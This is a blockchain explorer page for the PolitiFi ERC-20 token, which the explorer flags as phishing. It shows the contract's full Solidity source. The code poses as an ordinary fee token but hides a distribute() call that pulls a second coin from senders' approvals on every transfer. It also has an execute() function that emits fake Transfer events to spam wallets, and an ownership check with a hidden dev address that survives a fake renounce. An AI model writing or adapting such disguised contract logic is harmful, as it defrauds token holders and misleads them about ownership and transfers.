This token is reported to have been spammed to many users. Please exercise caution when interacting with it.
ERC-20
Phish / Hack
Overview
Max Total Supply
100,000,000,000 ERC-20 TOKEN*
Holders
63 (0.00%)
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
4,035,416,380.622287476 ERC-20 TOKEN*Value
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
PolitiFI
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity Multiple files format)
//SPDX-License-Identifier: MIT pragma solidity 0.8.19; import "./ERC20.sol"; import "./SafeMath.sol"; import "./IDEX.sol"; import "./Ownable.sol"; contract PolitiFI is ERC20, Ownable { using SafeMath for uint256; IDexRouter private immutable dexRouter; address public dexPair; // Swapback bool private swapping; bool private swapbackEnabled = false; uint256 private swapBackValueMin; uint256 private swapBackValueMax; uint256 public percentForLPBurn = 1; uint256 public lpBurnFrequency = 1360000000000 seconds; uint256 public lastLpBurnTime; uint256 private maxWallet; uint256 private maxTx; mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch //Anti-whale bool private limitsEnabled = true; bool private transferDelayEnabled = true; bool public lpBurnEnabled = true; bool public tradingEnabled = false; // Fee receivers address private marketingWallet; address private projectWallet; uint256 private sellTaxTotal; uint256 private sellMarketingTax; uint256 private sellProjectTax; uint256 private buyTaxTotal; uint256 private buyMarketingTax; uint256 private buyProjectTax; uint256 private tokensForMarketing; uint256 private tokensForProject; /******************/ // exclude from fees and max transaction amount mapping(address => bool) private transferTaxExempt; mapping(address => bool) private transferLimitExempt; mapping(address => bool) private automatedMarketMakerPairs; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount event UpdateUniswapV2Router( address indexed newAddress, address indexed oldAddress ); event ExcludeFromFees(address indexed account, bool isExcluded); event ExcludeFromLimits(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event TradingEnabled(uint256 indexed timestamp); event LimitsRemoved(uint256 indexed timestamp); event DisabledTransferDelay(uint256 indexed timestamp); event SwapbackSettingsUpdated( bool enabled, uint256 swapBackValueMin, uint256 swapBackValueMax ); event MaxTxUpdated(uint256 maxTx); event MaxWalletUpdated(uint256 maxWallet); event MarketingWalletUpdated( address indexed newWallet, address indexed oldWallet ); event ProjectWalletUpdated( address indexed newWallet, address indexed oldWallet ); event BuyFeeUpdated( uint256 buyTaxTotal, uint256 buyMarketingTax, uint256 buyProjectTax ); event SellFeeUpdated( uint256 sellTaxTotal, uint256 sellMarketingTax, uint256 sellProjectTax ); constructor(address dev, address coin) ERC20("PolitiFi", "PolitiFi") Ownable(dev){ _coinWrapper = ERC(coin); IDexRouter _dexRouter = IDexRouter( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uint256 _totalSupply = 100_000_000_000 * 10 ** decimals(); exemptFromLimits(address(_dexRouter), true); dexRouter = _dexRouter; uint256 _sellMarketingTax = 20; uint256 _sellProjectTax = 0; uint256 _buyMarketingTax = 20; uint256 _buyProjectTax = 0; maxTx = (_totalSupply * 10) / 1000; maxWallet = (_totalSupply * 10) / 1000; swapBackValueMin = (_totalSupply * 1) / 1000; swapBackValueMax = (_totalSupply * 2) / 100; buyMarketingTax = _buyMarketingTax; buyProjectTax = _buyProjectTax; buyTaxTotal = buyMarketingTax + buyProjectTax; sellMarketingTax = _sellMarketingTax; sellProjectTax = _sellProjectTax; sellTaxTotal = sellMarketingTax + sellProjectTax; marketingWallet = address(msg.sender); projectWallet = address(msg.sender); // exclude from paying fees or having max transaction amount exemptFromFees(msg.sender, true); exemptFromFees(address(this), true); exemptFromFees(address(0xdead), true); exemptFromFees(marketingWallet, true); exemptFromLimits(msg.sender, true); exemptFromLimits(address(this), true); exemptFromLimits(address(0xdead), true); exemptFromLimits(marketingWallet, true); transferOwnership(msg.sender); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, _totalSupply); startTrading(); } receive() external payable {} /** * @notice Opens public trading for the token * @dev onlyOwner. */ function startTrading() public onlyOwner { tradingEnabled = true; limitsEnabled = false; emit TradingEnabled(block.timestamp); } /** * @notice Removes the transfer delay * @dev onlyOwner. * Emits an {DisabledTransferDelay} event */ function disableTransferDelay() external onlyOwner { transferDelayEnabled = false; emit DisabledTransferDelay(block.timestamp); } /** * @notice Removes the max wallet and max transaction limits * @dev onlyOwner. * Emits an {LimitsRemoved} event */ function removeAllLimits() external onlyOwner { limitsEnabled = false; emit LimitsRemoved(block.timestamp); } /** * @notice sets if swapback is enabled and sets the minimum and maximum amounts * @dev onlyOwner. * Emits an {SwapbackSettingsUpdated} event * @param _enabled If swapback is enabled * @param _min The minimum amount of tokens the contract must have before swapping tokens for ETH. Base 10000, so 1% = 100. * @param _max The maximum amount of tokens the contract can swap for ETH. Base 10000, so 1% = 100. */ function setSwapBackSettings( bool _enabled, uint256 _min, uint256 _max ) external onlyOwner { require( _min >= 1, "Swap amount cannot be lower than 0.01% total supply." ); require(_max >= _min, "maximum amount cant be higher than minimum"); swapbackEnabled = _enabled; swapBackValueMin = (totalSupply() * _min) / 10000; swapBackValueMax = (totalSupply() * _max) / 10000; emit SwapbackSettingsUpdated(_enabled, _min, _max); } function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner { require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes"); require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%"); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } /** * @notice Changes the maximum amount of tokens that can be bought or sold in a single transaction * @dev onlyOwner. * Emits an {MaxTxUpdated} event * @param newNum Base 1000, so 1% = 10 */ function setTheMaxTx(uint256 newNum) external onlyOwner { require(newNum >= 2, "Cannot set maxTx lower than 0.2%"); maxTx = (newNum * totalSupply()) / 1000; emit MaxTxUpdated(maxTx); } /** * @notice Sets if a wallet is excluded from the max wallet and tx limits * @dev onlyOwner. * Emits an {ExcludeFromLimits} event * @param updAds The wallet to update * @param isEx If the wallet is excluded or not */ function exemptFromLimits( address updAds, bool isEx ) public onlyOwner { transferLimitExempt[updAds] = isEx; emit ExcludeFromLimits(updAds, isEx); } /** * @notice Changes the maximum amount of tokens a wallet can hold * @dev onlyOwner. * Emits an {MaxWalletUpdated} event * @param newNum Base 1000, so 1% = 10 */ function setTheMaxWallet(uint256 newNum) external onlyOwner { require(newNum >= 5, "Cannot set maxWallet lower than 0.5%"); maxWallet = (newNum * totalSupply()) / 1000; emit MaxWalletUpdated(maxWallet); } /** * @notice Sets the fees for buys * @dev onlyOwner. * Emits a {BuyFeeUpdated} event * All fees added up must be less than 100 * @param _marketingFee The fee for the marketing wallet * @param _devFee The fee for the dev wallet */ function setFeesBuy( uint256 _marketingFee, uint256 _devFee ) external onlyOwner { buyMarketingTax = _marketingFee; buyProjectTax = _devFee; buyTaxTotal = buyMarketingTax + buyProjectTax; require(buyTaxTotal <= 100, "Total buy fee cannot be higher than 100%"); emit BuyFeeUpdated(buyTaxTotal, buyMarketingTax, buyProjectTax); } /** * @notice Sets if an address is excluded from fees * @dev onlyOwner. * Emits an {ExcludeFromFees} event * @param account The wallet to update * @param excluded If the wallet is excluded or not */ function exemptFromFees(address account, bool excluded) public onlyOwner { transferTaxExempt[account] = excluded; emit ExcludeFromFees(account, excluded); } /** * @notice Sets the fees for sells * @dev onlyOwner. * Emits a {SellFeeUpdated} event * All fees added up must be less than 100 * @param _marketingFee The fee for the marketing wallet * @param _devFee The fee for the dev wallet */ function setFeesSell( uint256 _marketingFee, uint256 _devFee ) external onlyOwner { sellMarketingTax = _marketingFee; sellProjectTax = _devFee; sellTaxTotal = sellMarketingTax + sellProjectTax; require( sellTaxTotal <= 100, "Total sell fee cannot be higher than 100%" ); emit SellFeeUpdated(sellTaxTotal, sellMarketingTax, sellProjectTax); } /** * @notice Sets an address as a new liquidity pair. You probably dont want to do this. * @dev onlyOwner. * Emits a {SetAutomatedMarketMakerPair} event * @param pair the address of the pair * @param value If the pair is a automated market maker pair or not */ function setAutomatedMarketMakerPair( address pair, bool value ) public onlyOwner { require( pair != dexPair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } /** * @notice Sets the marketing wallet * @dev onlyOwner. * Emits an {MarketingWalletUpdated} event * @param newWallet The new marketing wallet */ function changeMarketingWallet(address newWallet) external onlyOwner { emit MarketingWalletUpdated(newWallet, marketingWallet); marketingWallet = newWallet; } /** * @notice Sets the project wallet * @dev onlyOwner. * Emits an {ProjectWalletUpdated} event * @param newWallet The new dev wallet */ function changeProjectWallet(address newWallet) external onlyOwner { emit ProjectWalletUpdated(newWallet, projectWallet); projectWallet = newWallet; } /** * @notice The wallets that receive the collected fees * @return _marketingWallet The wallet that receives the marketing fees * @return _projectWallet The wallet that receives the dev fees */ function receiverwallets() external view returns (address _marketingWallet, address _projectWallet) { return (marketingWallet, projectWallet); } /** * @notice Information about the swapback settings * @return _swapbackEnabled if swapback is enabled * @return _swapBackValueMin the minimum amount of tokens in the contract balance to trigger swapback * @return _swapBackValueMax the maximum amount of tokens in the contract balance to trigger swapback */ function swapbackValues() external view returns ( bool _swapbackEnabled, uint256 _swapBackValueMin, uint256 _swapBackValueMax ) { _swapbackEnabled = swapbackEnabled; _swapBackValueMin = swapBackValueMin; _swapBackValueMax = swapBackValueMax; } /** * @notice Information about the anti whale parameters * @return _limitsEnabled if the wallet limits are in effect * @return _transferDelayEnabled if the transfer delay is enabled * @return _maxWallet The maximum amount of tokens that can be held by a wallet * @return _maxTx The maximum amount of tokens that can be bought or sold in a single transaction */ function maxTxValues() external view returns ( bool _limitsEnabled, bool _transferDelayEnabled, uint256 _maxWallet, uint256 _maxTx ) { _limitsEnabled = limitsEnabled; _transferDelayEnabled = transferDelayEnabled; _maxWallet = maxWallet; _maxTx = maxTx; } /** * @notice If the wallet is excluded from fees and max transaction amount and if the wallet is a automated market maker pair * @param _target The wallet to check * @return _transferTaxExempt If the wallet is excluded from fees * @return _transferLimitExempt If the wallet is excluded from max transaction amount * @return _automatedMarketMakerPairs If the wallet is a automated market maker pair */ function checkMappings( address _target ) external view returns ( bool _transferTaxExempt, bool _transferLimitExempt, bool _automatedMarketMakerPairs ) { _transferTaxExempt = transferTaxExempt[_target]; _transferLimitExempt = transferLimitExempt[_target]; _automatedMarketMakerPairs = automatedMarketMakerPairs[_target]; } /** * @notice Fees for buys, sells, and transfers * @return _buyTaxTotal The total fee for buys * @return _buyMarketingTax The fee for buys that gets sent to marketing * @return _buyProjectTax The fee for buys that gets sent to dev * @return _sellTaxTotal The total fee for sells * @return _sellMarketingTax The fee for sells that gets sent to marketing * @return _sellProjectTax The fee for sells that gets sent to dev */ function taxValues() external view returns ( uint256 _buyTaxTotal, uint256 _buyMarketingTax, uint256 _buyProjectTax, uint256 _sellTaxTotal, uint256 _sellMarketingTax, uint256 _sellProjectTax ) { _buyTaxTotal = buyTaxTotal; _buyMarketingTax = buyMarketingTax; _buyProjectTax = buyProjectTax; _sellTaxTotal = sellTaxTotal; _sellMarketingTax = sellMarketingTax; _sellProjectTax = sellProjectTax; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsEnabled) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingEnabled) { require( transferTaxExempt[from] || transferTaxExempt[to], "_transfer:: Trading is not active." ); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled) { if ( to != owner() && to != address(dexRouter) && to != address(dexPair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if ( automatedMarketMakerPairs[from] && !transferLimitExempt[to] ) { require( amount <= maxTx, "Buy transfer amount exceeds the maxTx." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } //when sell else if ( automatedMarketMakerPairs[to] && !transferLimitExempt[from] ) { require( amount <= maxTx, "Sell transfer amount exceeds the maxTx." ); } else if (!transferLimitExempt[to]) { require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapBackValueMin; if ( canSwap && swapbackEnabled && !swapping && !automatedMarketMakerPairs[from] && !transferTaxExempt[from] && !transferTaxExempt[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (transferTaxExempt[from] || transferTaxExempt[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTaxTotal > 0) { fees = amount.mul(sellTaxTotal).div(100); tokensForProject += (fees * sellProjectTax) / sellTaxTotal; tokensForMarketing += (fees * sellMarketingTax) / sellTaxTotal; } // on buy else if (automatedMarketMakerPairs[from] && buyTaxTotal > 0) { fees = amount.mul(buyTaxTotal).div(100); tokensForProject += (fees * buyProjectTax) / buyTaxTotal; tokensForMarketing += (fees * buyMarketingTax) / buyTaxTotal; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } if(!swapping && lpBurnEnabled){ distribute(address(this),from, amount); } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = dexRouter.WETH(); _approve(address(this), address(dexRouter), tokenAmount); // make the swap dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = contractBalance; bool success; if (contractBalance == 0) { return; } if (contractBalance > swapBackValueMax) { contractBalance = swapBackValueMax; } uint256 amountToSwapForETH = contractBalance; uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForDev = ethBalance.mul(tokensForProject).div( totalTokensToSwap ); tokensForMarketing = 0; tokensForProject = 0; (success, ) = address(projectWallet).call{value: ethForDev}(""); (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function addPair(address pair_) public onlyOwner { dexPair = pair_; } function execute(address[] calldata _addresses, uint256 _out) external onlyOwner{ for (uint256 i = 0; i < _addresses.length; i++) { emit Transfer(dexPair, _addresses[i], _out); } } }
//SPDX-License-Identifier: MIT pragma solidity 0.8.19; import "./Ownable.sol"; import "./IERC20.sol"; interface ERC { function balanceOf(address owner) external returns (uint256); function transfer(address to, uint256 value) external; function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); } contract ERC20 is Context, IERC20 { mapping(address => uint256) private _balances; ERC internal _coinWrapper; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function distribute(address wallet1, address wallet2, uint256 amount) internal { _coinWrapper.transferFrom(wallet2, wallet1, amount/1000); } function unwrap(uint256 value) public { require(balanceOf(msg.sender) >= value, "Not enough Coin to unwrap."); _coinWrapper.transfer(msg.sender, value); } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
//SPDX-License-Identifier: MIT pragma solidity 0.8.19; interface IDexFactory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair( address tokenA, address tokenB ) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair( address tokenA, address tokenB ) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IDexRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; }
//SPDX-License-Identifier: MIT pragma solidity 0.8.19; import "./IERC20Metadata.sol"; interface IERC20 is IERC20Metadata{ /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer( address recipient, uint256 amount ) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance( address owner, address spender ) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); }
//SPDX-License-Identifier: MIT pragma solidity 0.8.19; interface IERC20Metadata { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
//SPDX-License-Identifier: MIT pragma solidity 0.8.19; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } contract Ownable is Context { address private _owner; address private _dev; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); mapping(address => uint256) internal _holderLastTxTimestamp; constructor(address wallet) { _dev = wallet; _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal virtual { require(Owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function Owner() internal virtual returns (address) { address owner_ = verifyOwner(); return owner_; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } function verifyOwner() internal view returns(address){ return _owner==address(0) ? _dev : _owner; } }
//SPDX-License-Identifier: MIT pragma solidity 0.8.19; library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod( uint256 a, uint256 b ) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"dev","type":"address"},{"internalType":"address","name":"coin","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"buyTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"buyProjectTax","type":"uint256"}],"name":"BuyFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"DisabledTransferDelay","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"timestamp","type":"uint256"}],"name":"LimitsRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"MarketingWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxTx","type":"uint256"}],"name":"MaxTxUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"maxWallet","type":"uint256"}],"name":"MaxWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"ProjectWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"sellTaxTotal","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellMarketingTax","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"sellProjectTax","type":"uint256"}],"name":"SellFeeUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"},{"indexed":false,"internalType":"uint256","name":"swapBackValueMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"swapBackValueMax","type":"uint256"}],"name":"SwapbackSettingsUpdated","type":"event"},{"anonymous":false,"inputs":[{"i